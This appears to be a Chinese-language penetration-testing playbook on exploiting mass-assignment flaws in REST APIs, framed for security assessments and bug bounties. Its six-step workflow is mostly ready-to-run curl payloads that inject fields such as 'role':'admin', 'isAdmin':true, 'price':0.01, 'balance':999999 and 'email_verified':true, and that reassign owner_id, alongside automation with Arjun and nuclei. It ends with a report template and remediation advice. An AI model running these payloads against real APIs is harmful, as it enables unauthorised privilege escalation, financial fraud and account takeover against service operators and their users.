| name | exploiting-mass-assignment-in-rest-apis |
| description | 发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 REST API 中的批量赋值漏洞(Exploiting Mass Assignment in REST APIs)
适用场景
- 测试接受 JSON 输入用于创建或更新资源的 REST API 时
- 在使用 ORM 框架(Rails、Django、Laravel、Spring)的应用程序 API 安全评估期间
- 测试用户注册、个人资料更新或账户管理端点时
- 在具有 CRUD API 操作的应用程序漏洞奖励计划中
- 评估 API 驱动应用程序中基于角色的访问控制实现时
前置条件
- 用于 API 请求构建和拦截的 Burp Suite 或 Postman
- 了解常见框架中的 ORM 自动绑定行为
- 通过侦察获取 API 文档或端点发现
- 具有不同权限级别的多个用户账户用于测试
- 了解常见敏感字段(role、isAdmin、verified、balance、price)
- 用于隐藏参数发现的 Arjun 或 param-miner
工作流程
步骤 1:发现 API 结构和字段
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
步骤 2:通过角色字段测试权限提升
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
步骤 3:测试财务和业务逻辑字段
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
步骤 4:测试验证和状态字段
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
步骤 5:测试关系和外键操纵
curl -X PATCH http://target.com/api/documents/123 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"owner_id":"admin-user-id"}'
curl -X PATCH http://target.com/api/projects/456 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"team_id":"privileged-team","access_level":"write"}'
curl -X PATCH http://target.com/api/entries/789 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
步骤 6:自动化批量赋值测试
python3 mass_assignment_tester.py \
--url http://target.com/api/users/me \
--method PATCH \
--token "Bearer USER_TOKEN" \
--fields-file mass_assignment_fields.txt
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
核心概念
| 概念 | 定义 |
|---|
| 批量赋值(Mass Assignment) | ORM 将请求参数自动绑定到模型属性而不加限制 |
| 自动绑定(Autobinding) | 将 HTTP 参数直接映射到对象属性的框架功能 |
| 允许列表(Allowlist) | 用于更新操作的服务器端允许字段列表(Rails 中的 strong_parameters) |
| 拒绝列表(Denylist) | 禁止字段列表(不如允许列表方法安全) |
| 隐藏字段(Hidden Fields) | 服务器管理的字段(role、balance),不在表单中显示但被 API 接受 |
| DTO(数据传输对象) | 使用单独对象分离输入和数据库以防止批量赋值的模式 |
| 参数污染(Parameter Pollution) | 在合法参数旁边发送意外的额外参数 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | API 请求拦截和参数注入 |
| Postman | API 测试和基于集合的批量赋值测试 |
| Arjun | API 端点的隐藏参数发现工具 |
| param-miner | 用于发现隐藏参数的 Burp 扩展 |
| OWASP ZAP | 带参数注入的自动化 API 扫描 |
| swagger-codegen | 从 OpenAPI 规范生成用于测试的 API 客户端 |
常见场景
- 管理员权限提升 — 在个人资料更新中注入
"role":"admin" 或 "isAdmin":true 以获取管理员访问权限
- 价格操纵 — 在订单创建端点中修改
price 或 discount 字段以较低价格购买商品
- 电子邮件验证绕过 — 在注册或个人资料更新期间设置
email_verified:true 以绕过验证要求
- 账户接管 — 将
email 或 phone 字段修改为攻击者控制的值,然后触发密码重置
- 订阅升级 — 在订阅更新中注入
plan:"enterprise" 以无需付款获取高级功能
输出格式
## 批量赋值漏洞报告
- **目标**: http://target.com/api/users/me
- **方法**: PATCH
- **框架**: Ruby on Rails(通过 X-Powered-By 检测)
### 发现
| # | 端点 | 注入字段 | 原始值 | 修改值 | 影响 |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | 权限提升 |
| 2 | POST /api/orders | price | 99.99 | 0.01 | 财务损失 |
| 3 | PATCH /api/users/me | email_verified | false | true | 验证绕过 |
### 修复建议
- 为所有模型更新操作实施允许列表(strong_parameters)
- 使用 DTO/ViewModel 将 API 输入与数据库模型解耦
- 对敏感属性应用字段级授权检查
- 记录并警报尝试修改受限字段的行为